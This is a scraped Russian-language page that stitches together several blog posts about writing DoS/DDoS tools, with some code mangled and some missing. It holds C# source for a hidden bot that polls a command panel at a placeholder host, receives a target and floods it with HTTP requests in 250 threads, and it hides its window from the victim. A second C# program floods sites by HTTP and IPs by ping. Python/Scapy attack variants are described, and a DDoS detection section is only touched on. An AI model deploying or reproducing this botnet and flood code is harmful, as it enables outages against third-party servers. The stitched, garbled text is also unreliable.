2012-06-16 в 8:34, admin , рубрики: ddos, ботнет, Песочница, метки: c++, ddos, ботнет
Предисловие
Данный пост создан для людей, желающих провести аудит своих сайтов на ddos атаки. Можно купить ботнет, специальный софт или заказать атаку у людей. Но чаще всего это не выгодно, допустим средняя цена ботнета ~800$. Дороговато, не правдо ли?
Описание
Ботнет — это компьютерная сеть, состоящая из некоторого количества хостов, с запущенными ботами — автономным программным обеспечением. Чаще всего бот в составе ботнета является программой, скрытно устанавливаемой на устройство жертвы и позволяющей злоумышленнику выполнять некие действия с использованием ресурсов заражённого компьютера. Обычно используются для нелегальной или неодобряемой деятельности — рассылки спама, перебора паролей на удалённой системе, атак на отказ в обслуживании.
Дэдосить, как Бог. Мирай — ботнет IOT.
Ботнет работает по принципу подключаемся к главному компьютеру, считываем команду, выполняем. Мы не будем писать сложную зомби сеть. Напишем просто пример, который будет атаковать наш сервер. Возможно, чуть позже я создам пост о написании сложного ботнета с множеством команд и средствами скрытия от глаз жертвы. Но чуть позже, а так же напоминаю, данный топик служит лишь примером для тестирования личных серверов.
Кодинг
1) Нам нужно, чтобы наш ботнет отсылал запрос каждые 25 секунд к нам в панель управления. Создадим элемент таймер, включим его, поставим значение 25 000 (млс). Соответственно для элемента таймер пропишем выполнение функции запроса к серверу
const string panelLink = «http://site.com/panel/bot.php?q=bot»; // ССЫЛКА ДО ПАНЕЛИ public void RequestToPanel() < /* ЗАПРОСЫ К ПАНЕЛИ */ System.Net.WebRequest reqGET = System.Net.WebRequest.Create(); System.Net.WebResponse resp = reqGET.GetResponse(); System.IO.Stream stream = resp.GetResponseStream(); System.IO.StreamReader sr = new System.IO.StreamReader(stream); string ServerReturn = sr.ReadToEnd(); string[] arrServerReturn = ServerReturn.Split(‘|’); // Разделяем строку в массив знаком | string typeAttack = arrServerReturn[0]; // Получаем тип атаки, в нашем случае будет пока один, http string hostAttack = arrServerReturn[1]; // Получаем хост для атаки this.Attack(typeAttack, hostAttack); // Выполняем атаку > private void Attack(string type, string host) < if (host != null) < switch (type) < case «http»: this.httpAttack(host); break; >> > private void httpAttack(string host) < while (true) < for (int i = 0; i < 250; i++) // Соответственно в 250 потоков < System.Net.WebRequest reqGET = System.Net.WebRequest.Create(); System.Net.WebResponse resp = reqGET.GetResponse(); System.IO.Stream stream = resp.GetResponseStream(); > > >
Так же при запуске программы сразу стоит сделать выполнение функции RequestToPanel, если мы это не сделаем, она начнёт выполняться только после интервала в таймере.
КАК Я ЗАКАЗАЛ DDOS-АТАКУ В ДАРКНЕТЕ и ОТКЛЮЧИЛ ВСЕ САЙТЫ! (не делайте этого…)
Соответственно осталось лишь скрыть окна программы, для этого в конструкторе выставим следующие свойства:
— FormBorderStyle — None
— Opacity — 0%
— ShowIcon — False
— ShowInTaskbar — False
Так же стоит заметить, что это лишь программа которая запустится один раз и будет выполнять атаку, а не целый ботнет, так как стоит использовать копирование и автозапуск с системой. Я не стал этого писать, так как это лишь пример. Так же стоит отдавать пример в нашем файле, куда идёт запрос на получение команд, вида http|http://oursite.com
Просьба не пинать, так как только пример, да и мой первый кодинг на шарпе.
Источник: www.pvsm.ru
как написать ддос программу python
Для начала разберемся что такое DOS и в чем различие от DDOS.
DoS (аббр. англ. Denial of Service «отказ в обслуживании») — хакерская атака на вычислительную систему с целью довести её до отказа
Если атака выполняется одновременно с большого числа компьютеров, говорят о DDoS-атаке (от англ. Distributed Denial of Service, распределённая атака типа «отказ в обслуживании»). Такая атака проводится в том случае, если требуется вызвать отказ в обслуживании хорошо защищённой крупной компании или правительственной организации.
Давайте сначала установим зависимости для нашего Python3. Их всего 3: colorama, requests, threading.
Команда, которой вы можете это всё установить под Linux:
Приступим к написанию.
Сначала импортируем наши библиотеки, которые мы установили несколько минут назад.
Дальше напишем функцию, которая будет отправлять запросы и контролировать состояние цели:
В этой функции мы входим в бесконечный цикл (кстати он нам не страшен, так как у нас много потоков и это всё работает постоянно.), так как завершать работу программы мы будем сочетанием клавиш Ctrl+C. Так же вы можете модифицировать функцию, например как только сервер начал не отвечать прекратить работу. Ну это дело вкуса. Всё в ваших руках.
Дальше приступим к главному коду.
После того,как мы скопировали код в IDLE,нажимаем Run module(F5)
Python академия
Поиск по этому блогу
DOS атака при помощи Python
Для атак вида «DOS» используют один мощный сервер который посылает жертве столько запросов, что жертва не успевает обработать их и выдаёт ошибку 503 либо 504.
Для атаки нужна многопоточность, то есть нужно чтобы скрипт отправлял запрос не ожидая завершения предыдущего. В Python для этого есть библиотека «therading».
Пример простейшего скрипта для доса:
adam melhem
HI I hope your having a good day
DoS ; их реализация в Python —
Один IP один порт
Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и с одного номера порта. Это низкоуровневая атака, которая используется для проверки поведения веб-сервера. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python поможет реализовать DoS-атаку с одним IP-портом —
После выполнения вышеприведенный скрипт запросит следующие три вещи:
IP-адрес источника и цели.
IP-адрес номера порта источника.
Затем он отправит большое количество пакетов на сервер для проверки его поведения.
IP-адрес источника и цели.
IP-адрес номера порта источника.
Затем он отправит большое количество пакетов на сервер для проверки его поведения.
Один IP, несколько портов
Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и нескольких портов. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт на python поможет реализовать DoS-атаку с несколькими IP-портами:
Несколько IP один порт
Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и с одного номера порта. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python реализует DoS-атаку с несколькими портами на один IP —
Несколько IP несколько портов
Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и с нескольких портов. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python помогает реализовать DoS-атаку с несколькими портами —
DDoS-атака (распределенный отказ в обслуживании)
Распределенная атака типа «отказ в обслуживании» (DDoS) — это попытка сделать веб-службу или веб-сайт недоступными, перегружая их огромным потоком трафика, генерируемым из нескольких источников.
Обнаружение DDoS с использованием Python
На самом деле DDoS-атаку немного сложно обнаружить, потому что вы не знаете, что хост, отправляющий трафик, является поддельным или реальным. Сценарий Python, приведенный ниже, поможет обнаружить DDoS-атаку.
Для начала давайте импортируем необходимые библиотеки —
Теперь мы создадим сокет, как и в предыдущих разделах.
Пишем свою программу для DDoS атак
Итак, дело было вечером, делать было нечего. Вот я и решил проверить наш с другом сайт на устойчивость. Написание программы было действительно несложным занятием и заняло около получаса. И именно с реализацией её на C# хотелось бы познакомить хабраюзера.
Introduction
Вообще, до этого меня ни разу не интересовали DDoS атаки. Ну, и, собственно, кодить я принялся тоже только из теоретических знаний. Результаты оказались довольно неожиданными:
А здесь добавлена многопоточность:
Таким образом мы можем увидеть, что программа довольно неплохо нагружала сервера. И в руках 10-20 человек могла бы свалить какой-нибудь небольшой сайтик.
Реализация
Для реализации был выбран язык C#.
Итак, небольшое описание работы: по нажатии кнопки Start DDoS создаётся несколько(количество ядер * 2) потоков с бесконечным циклом, где идут десятки тысяч запросов в секунду.
Метод с кодом основного цикла(извиняюсь за кривые комментарии):
void a1(bool IsIP) < IPAddress ip = null; if (IsIP) //Если это атака IP, то парсим строку в textBox2 ip = IPAddress.Parse(textBox2.Text); //Основной цикл while (true) < //Если это атака сайта: if (!IsIP) < //Создаём запрос var r = (HttpWebRequest)WebRequest.Create(«http://» + textBox1.Text); //Начинаем слушать ответ r.BeginGetResponse(new AsyncCallback((IAsyncResult res) =>< >), null); > //Если это атака IP else < var ping = new Ping(); //Если IP пропарсился нормально, то пингуем if (ip != null) ping.Send(ip); >//Переменная, которая содержит общее количество запросов i++; //Каждые 10000 раз вызываем сборщик мусора, иначе прога будет через минуту своей работы занимать около гигабайта ОЗУ if (i % 10000 == 0) GC.Collect(); > >
Как мы видим, задача довольно простая. Именно здесь находится основной код.
Также код создания самих потоков:
for (var i = 0; i < Environment.ProcessorCount * 2; i++) < var bw = new BackgroundWorker(); bw.DoWork += (s, a) =>a1(radioButton2.Checked); bw.RunWorkerAsync(); >
Ну, собственно, всё! Остальное не касается непосредственно DDoS, но это можно посмотреть в
прикриплённом проекте.
Данная статья была написана исключительно для ознакомительных целей! Мне просто хотелось выяснить, на сколько сложен в реализации данный тип программ и своими наблюдениями поделиться здесь. Во время проведения экспериментов ни один сайт не пострадал.
Источник: habr.com